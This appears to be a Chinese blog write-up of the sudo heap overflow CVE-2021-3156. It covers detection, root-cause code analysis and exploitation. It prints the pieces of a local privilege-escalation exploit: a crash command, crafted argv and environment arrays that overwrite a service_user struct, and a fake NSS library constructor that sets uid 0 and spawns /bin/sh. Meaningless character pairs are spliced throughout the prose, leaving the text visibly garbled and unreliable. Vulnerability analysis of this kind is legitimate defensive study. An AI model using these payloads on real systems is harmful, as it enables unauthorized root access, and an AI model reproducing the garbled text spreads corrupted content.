影響版本:
1.9.0 <= Sudo <= 1.9.5 p1 所有穩(wěn)定版(默認配置)
1.8.2 <= Sudo <= 1.8.31 p2 所有老版本
最新的系統(tǒng)丽猬,如Ubuntu 20.04 (Sudo 1.8.31), Debian 10 (Sudo 1.8.27), Fedora 33 (Sudo 1.9.2) 都受到影響拂铡。
編譯選項:
# 編譯(如果默認版本有漏洞,則不需要編譯)
$ wget https://github.com/sudo-project/sudo/archive/SUDO_1_9_5p1.tar.gz
$ tar xf sudo-SUDO_1_9_5p1.tar.gz
$ cd sudo-SUDO_1_9_5p1/
$ mkdir build
$ cd build/
$ ../configure --enable-env-debug
$ make -j
$ sudo make install
# 調(diào)試 (需以root運行gdb终惑,漏洞代碼是動態(tài)加載的绍在,直接下斷點下不到,crash之后再下)
$ gdb --args sudoedit -s '\' `perl -e 'print "A" x 65536'`
$ b ../../../plugins/sudoers/sudoers.c:964
$ b ../../../plugins/sudoers/sudoers.c:978
漏洞描述:CVE-2021-3156(該漏洞被命名為“Baron Samedit”)——sudo在處理單個反斜杠結(jié)尾的命令時雹有,發(fā)生邏輯錯誤偿渡,導致堆溢出。當sudo通過-s或-i命令行選項在shell模式下運行命令時霸奕,它將在命令參數(shù)中使用反斜杠轉(zhuǎn)義特殊字符溜宽。但使用-s或 -i標志運行sudoedit時,實際上并未進行轉(zhuǎn)義质帅,從而可能導致緩沖區(qū)溢出适揉。只要存在sudoers文件(通常是 /etc/sudoers),攻擊者就可以使用本地普通用戶利用sudo獲得系統(tǒng)root權限煤惩。漏洞引入時間為2011年7月(commit 8255ed69)嫉嘀,漏洞存在時間達10年。
補丁:目前官方已在sudo新版本1.9.5 p2中修復了該漏洞盟庞,官方下載鏈接:https://www.sudo.ws/download.html
測試版本:Ubuntu 19.04 exploit
利用過程:
- 1.首先利用傳遞的
LC_MESSAGE
(或者LC_ALL
)環(huán)境變量申請并釋放一塊cache吃沪; - 2.分配
service_user
結(jié)構; - 3.控制輸入?yún)?shù)的長度什猖,使得
user_args
占據(jù)LC_MESSAGE
釋放后的空閑chunk票彪; - 4.
user_args
溢出并覆蓋第1個service_user
結(jié)構,覆蓋service_user->name
為偽造庫名不狮; - 5.利用libc中的
nss_load_library()
函數(shù)來加載偽造庫降铸,執(zhí)行偽造庫中的_init
函數(shù)(提權)。
1.sudo簡介
sudo是可以允許管理員讓普通用戶執(zhí)行root命令的1個工具摇零,相當于su或者halt的命令推掸,這樣可以減少root登陸時間和管理,也可以提高linux系統(tǒng)的安全性。
2.漏洞檢測
檢測是否含有此漏洞:
- 在非root權限下谅畅,運行命令
$ sudoedit -s /
登渣。 - 若出現(xiàn)以
sudoedit:
開頭的錯誤響應,則系統(tǒng)受到此漏洞影響毡泻; - 若出現(xiàn)以
usage:
開頭的錯誤響應胜茧,則表示該漏洞已被補丁修復。
3.代碼分析
命令行模式下運行sudo仇味,加上-s
選項會設置MODE_SHELL
flag呻顽;加上-i
選項會設置MODE_SHELL
flag 和 MODE_LOGIN_SHELL
flag。首先看sudo的main()
函數(shù)開頭調(diào)用了parse_args()
丹墨,parse_args()
會連接所有命令行參數(shù)(587-595行)并給元字符加反斜杠(590-591行)來重寫 argv
(609-617行)廊遍。
// parse_args()
571 if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
572 char **av, *cmnd = NULL;
573 int ac = 1;
...
581 cmnd = dst = reallocarray(NULL, cmnd_size, 2);
...
587 for (av = argv; *av != NULL; av++) {
588 for (src = *av; *src != '\0'; src++) {
589 /* quote potential meta characters */
590 if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
591 *dst++ = '\\';
592 *dst++ = *src;
593 }
594 *dst++ = ' ';
595 }
...
600 ac += 2; /* -c cmnd */
...
603 av = reallocarray(NULL, ac + 1, sizeof(char *));
...
609 av[0] = (char *)user_details.shell; /* plugin may override shell */
610 if (cmnd != NULL) {
611 av[1] = "-c";
612 av[2] = cmnd;
613 }
614 av[ac] = NULL;
615
616 argv = av;
617 argc = ac;
618 }
之后,在sudoers_policy_main()
函數(shù)中贩挣,set_cmnd()
連接命令行參數(shù)并存入堆緩沖區(qū) user_args
(864-871行)喉前,跳過元字符(866-867行),目的是匹配sudoer和記錄日志揽惹。
// set_cmnd()
819 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
852 for (size = 0, av = NewArgv + 1; *av; av++)
853 size += strlen(*av) + 1;
854 if (size == 0 || (user_args = malloc(size)) == NULL) {
...
857 }
858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
864 for (to = user_args, av = NewArgv + 1; (from = *av); av++) { // 把命令行參數(shù)放入from里面
865 while (*from) {
866 if (from[0] == '\\' && !isspace((unsigned char)from[1]))
867 from++;
868 *to++ = *from++; // 將輸入的命令行參數(shù)拷貝到堆空間 user_args
869 }
870 *to++ = ' ';
871 }
...
884 }
...
886 }
但如果命令行參數(shù)以1個反斜杠結(jié)尾:
- 866行搪搏,
from[0]
是反斜杠闪金,from[1]
是null結(jié)束符(非空格)疯溺; - 867行,from加1囱嫩,指向null結(jié)束符漏设;
- 868行墨闲,null結(jié)束符被拷貝到
user_args
堆緩沖區(qū),from又加1郑口,from指向了null結(jié)束符后面第1個字符(超出參數(shù)的邊界)犬性; - 865-869行,while loop 繼續(xù)將越界的字符拷貝到
user_args
堆緩沖區(qū)套利。
所以,set_cmnd()
存在越界寫验辞,溢出user_args
堆緩沖區(qū)(size是在852-853行中計算)喊衫。根本原因就是,sudo默認\
后面肯定跟著元字符鼻听,實際上\
后面只有1個結(jié)束符撑碴。
4.漏洞分析
正常情況下朝墩,命令行參數(shù)不會以1個反斜杠結(jié)尾,流程分析如下:如果設置了MODE_SHELL
或 MODE_LOGIN_SHELL
(858行亿卤,到達漏洞代碼的必要條件)排吴,且由于設置了MODE_SHELL
(571行懦鼠,parse_args()
換碼了元字符肛冶,包括反斜杠,末尾的1個反斜杠前又加了1個反斜杠睦袖,變成了2個反斜杠珊肃,就不存在1個反斜杠結(jié)尾的情況了)伦乔。
但是延蟹,換碼代碼parse_args()
和漏洞代碼set_cmnd()
的條件不相同阱飘。
// parse_args() 換碼代碼
571 if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
// set_cmnd() 漏洞代碼
819 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
猜想:能否設置 MODE_SHELL
和 MODE_EDIT
/MODE_CHECK
,但不設置 MODE_RUN
蔗喂,這樣跳過換碼代碼parse_args()
(避免1個反斜杠變成2個反斜杠)缰儿,直接執(zhí)行漏洞代碼 set_cmnd()
乖阵。
答案:不行。只要設置了MODE_EDIT
(-e, 361行)/MODE_CHECK
(-l, 423+519行)儒将,parse_args()
就會從valid_flags
移除MODE_SHELL
(363+424行)对蒲,如果此時還設置了MODE_SHELL
就會報錯(532-533行)蹈矮。
358 case 'e':
...
361 mode = MODE_EDIT;
362 sudo_settings[ARG_SUDOEDIT].value = "true";
363 valid_flags = MODE_NONINTERACTIVE;
364 break;
...
416 case 'l':
...
423 mode = MODE_LIST;
424 valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
425 break;
...
518 if (argc > 0 && mode == MODE_LIST)
519 mode = MODE_CHECK;
...
532 if ((flags & valid_flags) != flags)
533 usage(1);
漏洞:如果執(zhí)行sudoedit
命令(而非sudo
)泛鸟,則parse_args()
會自動設置MODE_EDIT
(270行)且不會重置valid_flags
,這樣MODE_SHELL
就還在valid_flags
中(127+249行)勺美,不會報錯。
127 #define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
249 int valid_flags = DEFAULT_VALID_FLAGS;
...
267 proglen = strlen(progname);
268 if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
269 progname = "sudoedit";
270 mode = MODE_EDIT;
271 sudo_settings[ARG_SUDOEDIT].value = "true";
272 }
結(jié)果:只要執(zhí)行sudoedit -s \
祝闻,就能同時設置MODE_EDIT
和MODE_SHELL
遗菠,但不設置MODE_RUN
辙纬。跳過parse_args()
中的換碼代碼,直接執(zhí)行漏洞代碼set_cmnd()
蓖谢,溢出user_args
堆緩沖區(qū)闪幽。
$ sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
從攻擊者角度來看,該緩沖區(qū)溢出可利用的原因如下:
-
user_args
堆緩沖區(qū)的size可控(852-854行溉知,size就是命令行參數(shù)合并后的長度)腕够;
-
- 能分別控制size和溢出的內(nèi)容(第一段命令行參數(shù)后緊跟第二段命令行參數(shù)帚湘,第二段命令行參數(shù)不包含在size中)客们;
- 可以寫null字節(jié)到
user_args
(每個以單反斜杠結(jié)尾的命令行參數(shù)或環(huán)境變量,都能往user_args
寫1個null字節(jié)恒傻,見866-868行)建邓。
- 可以寫null字節(jié)到
例如官边,amd64 Linux中,以下命令會分配24字節(jié)的user_args
緩沖區(qū)(實際分配32字節(jié))契吉,并將下一個堆塊的size覆蓋為A=a\0B=b\0”
(0x00623d4200613d41)捐晶,fd覆蓋為C=c\0D=d\0
( 0x00643d4400633d43)妄辩,bk覆蓋為E=e\0F=f\0
(0x00663d4600653d45)眼耀。
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
---------------------------------------------------------------------
--|--------+--------+--------+--------|--------+--------+--------+--------+--
| | |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
size <---- user_args buffer ----> size fd bk
寫連續(xù)的多個null:其實環(huán)境變量并不一定得是env_name=XXX
這種形式哮伟,環(huán)境變量可以是字符串數(shù)組妄帘。C代碼中用execve
執(zhí)行shell命令寄摆,環(huán)境變量設置2個連續(xù)的\
即可插入2個連續(xù)的null字節(jié)婶恼。
char *env[] = { "BBBBBBBB", "\\", "\\", "CCCCCCCC", NULL };
execve("/usr/bin/sudoedit", argv, env);
5.漏洞利用
(1)目標與挑戰(zhàn)
目標:溢出后覆蓋service_user
結(jié)構柏副。該結(jié)構出現(xiàn)在libc的nss_load_library()
函數(shù)中割择,用于加載動態(tài)鏈接庫。如果能覆蓋service_user->name
蕉饼,就能指定加載我們偽造的庫昧港,利用root權限運行非root權限的庫支子。
// 1. service_user 結(jié)構
typedef struct service_user
{
/* And the link to the next entry. */
struct service_user *next;
/* Action according to result. */
lookup_actions actions[5];
/* Link to the underlying library object. */
service_library *library;
/* Collection of known functions. */
void *known;
/* Name of the service (`files', `dns', `nis', ...). */
char name[0];
} service_user;
// 2. nss_load_library() 函數(shù)
static int nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
static name_database default_table;
ni->library = nss_new_service (service_table ?: &default_table, // (1)設置 ni->library
ni->name);
if (ni->library == NULL)
return -1;
}
if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name, // (2)偽造的庫文件名必須是 libnss_xxx.so
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name); // (3)加載目標庫
//continue long long function
挑戰(zhàn)1:可以看到nss_load_library()
函數(shù)中叹侄,滿足條件ni->library != null
和ni->library->lib_handle == NULL
才能加載新庫昨登。
解決:如果ni->library == null
篙骡,恰好代碼(1)處ni->library = nss_new_service(....
可以設置 ni->library
,所以只要把ni->library
覆蓋為null即可。找到離user_args
地址最近的第1個service_user
結(jié)構
挑戰(zhàn)2:如何覆蓋鏈表指針struct service_user * next
得湘,加載新庫時會根據(jù)該指針進行鏈表遍歷淘正。如果利用時意外覆蓋了第2個service_user
結(jié)構,由于無法泄露地址囤采,next
指針填充錯誤就會導致段錯誤蕉毯。
解決:只覆蓋第1個service_user
結(jié)構思犁,將next
指針覆蓋為null即可激蹲。這意味著我們必須找到user_args
之后的鏈表中的第1個service_user
結(jié)構在哪里。這是最大的挑戰(zhàn)乘瓤,需要精準控制堆分配衙傀。
(2)定位service_user
結(jié)構地址
利用name systemd
和mymachine
來定位service_user
結(jié)構着降。先在user_args
分配點下斷以查看鏈表任洞,然后搜索systemd
并遍歷list,直到找到第1個靠近分配點的service_user
(結(jié)合A溢出的多次測試妆偏,了解其崩潰的結(jié)構)钱骂。
以下展示了內(nèi)存中和對應到vmmaps中不同的service_user
name见秽。圖中可見讨盒,第2個對應systemd
的vmmap返顺,其偏移距離堆基址0x47e0蔓肯。另一個偏移為0x4790的service_user
和它相距0x50蔗包,這兩個結(jié)構連在一起慧邮,所以目標就是覆蓋0x4790處的service_user
結(jié)構赋咽。為什么不覆蓋0x2000偏移處的service_user
結(jié)構呢脓匿?因為你不能過早的把user_args
分配到那么靠前的堆區(qū)域。
(3)堆排布
問題:所以如何將user_args
分配到service_user
結(jié)構前面呢?(盡早分配user_args
)
解決:能否找到一個在service_user
結(jié)構之前被申請并被釋放的空閑塊呢毡琉?這樣分配user_args
堆塊時就能用到這個空閑塊了桅滋。
// /src/sudo.c
150: int main(int argc, char *argv[], char *envp[])
151: {
...
171: setlocale(LC_ALL, "");
...
216: sudo_mode = parse_args(argc, argv, &submit_optind, &nargc, &nargv, &settings, &env_add);
...
main()
中較早調(diào)用了setlocale()
(介紹)函數(shù)丐谋,setlocale()
函數(shù)中第154行号俐,可以分配并釋放幾個LC環(huán)境變量(LC_CTYPE,LC_MESSAGES踪危,LC_TIME等)贞远,這樣就在Sudo的堆開頭處留下了空閑的fast/tcache chunks笨忌。我們通過在``setlocale()中下斷點蜜唾,來檢查
setlocale()`會釋放哪些大小的塊。發(fā)現(xiàn)如下兩個有趣的空閑塊:
其中,第二個chunk會在setlocale()
函數(shù)外被再次分配和釋放棚饵,顯得不太可靠噪漾。除此之外且蓬,找不到其他的LC變量會釋放空閑塊了恶阴。
heap bin的知識:這里再簡單介紹下heap bin的知識,空閑塊是用多個鏈表存儲的焦匈,這些鏈表按塊大小排序缓熟。有如下5種鏈表(bin就是鏈表)摔笤。
-
tcache
——大小為0x20-0x408籍茧,實現(xiàn)超快速分配寞冯; -
fast bins
——大小為0x20-0x80,也是超快速分配俭茧; -
small bins
——比tcache
和fast bins
要大母债; -
large bins
——大型的chunk; -
unsorted bin
——未分類的chunk迅皇。
現(xiàn)在我們只關注tcache
和fast bins
登颓,因為其他類型的chunk可能會被合并框咙,很難預測chunk的狀態(tài)痢甘。chunk大小以0x10遞增塞栅。
我們可以使用LC_MESSAGE
環(huán)境變量构蹬,在setlocale()
函數(shù)中釋放該空閑塊,這樣之后觸發(fā)漏洞時就能把user_args
分配到該空閑塊的位置上俗壹。這樣就把溢出塊放在了heap上很靠前的位置绷雏。
但是要確保在分配user_args
時怖亭,用到的正是LC_MESSAGE
變量釋放的塊(因為在setlocale()
之后兴猩,分配user_args
之前可能還分配了其他chunk)倾芝。幸運的是最后得到了這個chunk:
上面是user_args
這個chunk晨另,下面是目標字符串mymachine
,相差只有0x4790 - 0x4370 == 0x420
字節(jié)刨晴。
現(xiàn)在狈癞,只需填充null直到覆蓋第1個service_user
結(jié)構亿驾,將service_user->ni-library
覆蓋為null,且將name覆蓋為偽造庫的庫名。
首先設置如下參數(shù),使得分配的user_args
堆塊大小和LC_MESSAGE
環(huán)境變量釋放的堆塊大小一樣旁振。
char *args[] = {
"/usr/bin/sudoedit",
"-s",
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAA\\",
NULL
}; //B and A's to match the chunk size we want freed in the beginning
然后拐袜,創(chuàng)建很長的環(huán)境變量梢薪,結(jié)尾放置偽造的service_user
結(jié)構:
char *extra_args[] = {
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\x01\\",
"\\",
"\\",
"\x01\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"X/X\\",
"a",
"LC_MESSAGES=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
NULL,
};
接著nss_load_library()
函數(shù)中的_stpcpy()
會根據(jù)X/X\\
參數(shù)甜攀,來創(chuàng)建路徑libnss_X/X.so.2
琐馆。
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
最后瘦麸,只需偽造一個名為libnss_X/X.so.2
的庫滋饲,其中init
函數(shù)負責設置id并執(zhí)行/bin/sh
即可了赌。編譯選項為gcc -Os -Wall -Wextra -fPIC -shared nss.c -o X.so.2
#include <stdlib.h>
#include <stddef.h>
#include <unistd.h>
static int __attribute__((constructor)) ___init(void)
{
char *argv[2] = {"sh", NULL};
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
return execve("/bin/sh", argv, NULL);
}
成功加載偽造庫:
彈出shell:
結(jié)論:最終的利用是100%可靠的勿她,使用Ubuntu 20.10,libc版本 2.32并開啟ASLR郭卫。
6.測試exp
第5節(jié)分析的原文作者沒有公開exp贰军,我測的exploit來自https://github.com/blasty/CVE-2021-3156词疼,在ubuntu 19.04(sudo版本為1.8.27)下也能成功提權帘腹。這兩個exp的區(qū)別是利用的環(huán)境變量名不一樣阳欲,第5節(jié)利用的是LC_MESSAGE
環(huán)境變量來創(chuàng)建空閑塊球化,blasty的exp利用的是LC_ALL
環(huán)境變量,所以覆蓋的偏移不同赴蝇。
參考
CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit)
https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
cve-2021-3156-sudo堆溢出簡單分析——含調(diào)試過程
https://github.com/blasty/CVE-2021-3156